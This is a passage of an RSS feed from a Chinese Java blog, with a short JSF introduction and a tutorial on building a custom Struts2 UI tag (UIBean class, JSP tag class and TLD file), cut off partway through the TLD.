﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-壹咪阳光-随笔分类-struts2/struts1.3/JSF</title><link>http://www.blogjava.net/ywj-316/category/42582.html</link><description /><language>zh-cn</language><lastBuildDate>Tue, 31 May 2011 01:23:56 GMT</lastBuildDate><pubDate>Tue, 31 May 2011 01:23:56 GMT</pubDate><ttl>60</ttl><item><title>JSF入门</title><link>http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 May 2011 13:48:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/351363.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/351363.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/351363.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: JSF学习笔记  &nbsp;  JSF事件驱动型的MVC框架,与流行的struts比较学习，易于理解。jsf component event事件是指从浏览器由用户操作触发的事件，Struts application event 是用Action来接受浏览器表单提交的事件，一个表单只能对应一个事件，application event和component event相比是一种粗粒度的事件。优点：事件...&nbsp;&nbsp;<a href='http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html'>阅读全文</a><img src ="http://www.blogjava.net/ywj-316/aggbug/351363.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2011-05-30 21:48 <a href="http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Struts2 自定义标签的方法</title><link>http://www.blogjava.net/ywj-316/archive/2011/05/30/351362.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 May 2011 13:43:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2011/05/30/351362.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/351362.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2011/05/30/351362.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/351362.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/351362.html</trackback:ping><description><![CDATA[<div><span style="font-family: MS Shell Dlg;">Struts2 的UITag原理：</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">Struts2 UITag分三部份组成，一部份用于定义Tag的内容与逻辑的UIBean，一部份用于定义JSP  Tag，也就是平时我们定义的那种，最后就是Template，它存放在你的theme目录之下，是一个FreeMarker模板文件。</span><span style="font-family: MS Shell Dlg;"><br /><br /></span><span style="font-family: MS Shell Dlg;">我现在辑写一份MMTag，它主要是用于输出带链接的文字，比如像这样：</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">&lt;cur:mm message="'I am a boy.'" /&gt;</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">就会输出：</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">&lt;a  href="http://www.blogjava.net/natlive"&gt;I am boy.&lt;/a&gt;</span><span style="font-family: MS Shell Dlg;"><br /><br /></span><span style="font-family: MS Shell Dlg;">我们先写UIBean部份：我们把它定义为MM，它继承于 org.apache.struts2.components.UIBean：</span><span style="font-family: MS Shell Dlg;"><br /></span> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #eeeeee;"><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">package</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;limitstudy.corestruts2.tag;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;org.apache.struts2.components.UI</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">Bean;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;org.apache.struts2.views.annotations.StrutsTag;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;org.apache.struts2.views.annotations.StrutsTagAttribute;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;com.opensymphony.xwork2.util.ValueStack;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;javax.servlet.http.HttpServletRequest;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;javax.servlet.http.HttpServletResponse;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">@StrutsTag(name="mm",&nbsp;tldTagClass="limitstudy.corestruts2.tag.MMTag",&nbsp;description="MM")</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">class</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;MM&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">extends</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;UIBean&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">private</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;String&nbsp;message;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;MM(ValueStack&nbsp;stack,&nbsp;HttpServletRequest&nbsp;request,&nbsp;HttpServletResponse&nbsp;response)&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">super</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">(stack,&nbsp;request,&nbsp;response);</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;@Override</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">protected</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;String&nbsp;getDefaultTemplate()&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">return</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;"mm";</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;@StrutsTagAttribute(description="set&nbsp;message",&nbsp;type="String")</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">void</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;setMessage(String&nbsp;message)&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">this</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">.message&nbsp;=&nbsp;message;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;@Override</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">protected</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">void</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;evaluateExtraParams()&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">super</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">.evaluateExtraParams();</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">if</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;(</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">null</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;!=&nbsp;message)&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;addParameter("message",&nbsp;findString(message));</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #ffffff;"><span style="font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-family: MS Shell Dlg; color: #000000;">* strutsTag</span><span style="font-family: MS Shell Dlg; color: #000000;">注解指明了该UIBean的名字 和Tag类的类名。</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">* </span><span style="font-family: MS Shell Dlg; color: #000000;">getDefaultTemplate()方法用于返回模板的名 字，Struts2会自动在后面加入.ftl扩展名以找到特定的模板文件。</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">*  setXXX，设置UIBean的属性，一般Tag中有几个这样的属性，这里就有几个。</span><span style="font-family: MS Shell Dlg; color: #000000;">@StrutsTagAttribute(description="set&nbsp;message",&nbsp;type="String") 注解，说明该属性是字符串（也可以是其它），这一步很重要。</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">* 覆写</span><span style="font-family: MS Shell Dlg; color: #000000;">evaluateExtraParams（） 方法，在UIBean初始化后会调用这个方法来初始化设定参数，如addParameter方法，会在freemarker里的parameters里加 入一个key  value。这里要注意findString，还有相关的findxxxx方法，它们是已经封装好了的解释ognl语法的工具，具体是怎么样的，大家可以 查看一下UIBean的api doc。</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-family: MS Shell Dlg; color: #000000;">然后是Tag部份：</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #eeeeee;"><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">package</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;limitstudy.corestruts2.tag;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;org.apache.struts2.views.jsp.ui.Ab</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">stractUITag;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;org.apache.struts2.components.Component;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;com.opensymphony.xwork2.util.ValueStack;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;javax.servlet.http.HttpServletRequest;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;javax.servlet.http.HttpServletResponse;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">class</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;MMTag&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">extends</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;AbstractUITag&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">private</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;String&nbsp;message;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;@Override</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;Component&nbsp;getBean(ValueStack&nbsp;stack,&nbsp;HttpServletRequest&nbsp;request,&nbsp;HttpServletResponse&nbsp;response)&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">return</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">new</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;MM(stack,&nbsp;request,&nbsp;response);</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;@Override</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">protected</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">void</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;populateParams()&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">super</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">.populateParams();</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MM&nbsp;mm&nbsp;=&nbsp;(MM)component;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mm.setMessage(message);</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">void</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;setMessage(String&nbsp;message)&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">this</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">.message&nbsp;=&nbsp;message;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #ffffff;"><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">* </span><span style="font-family: MS Shell Dlg; color: #000000;">getBean（）返回该Tag中的UIBean。</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-family: MS Shell Dlg; color: #000000;">*  populateParams()初始化参数，一般用来初始化UIBean(Component)。</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-family: MS Shell Dlg; color: #000000;">*  setXXXX设置属性，和jsp tag是一样的。</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-family: MS Shell Dlg; color: #000000;">在/WEB-INF/tlds/下建立current.tld文件（文名随你喜欢）：</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #eeeeee;"><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;?</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff00ff;">xml&nbsp;version="1.0"&nbsp;encoding="UTF-8"</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">?&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">taglib&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">xmlns</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="http://java.sun.com/xml/ns/j2ee"</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">&nbsp;xmlns:xsi</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="http://www.w3.org/2001/XMLSchema-instance"</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">&nbsp;version</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="2.0"</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xsi:schemaLocation</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="http://java.sun.com/xml/ns/j2ee&nbsp;http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">description</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">test</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">description</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tlib-version</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">2.0</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tlib-version</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">short-name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">cur</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">short-name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">uri</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">/cur</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">uri</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tag</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">mm</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tag-class</span><span style="font-size: 10pt; font-family: MS Shell 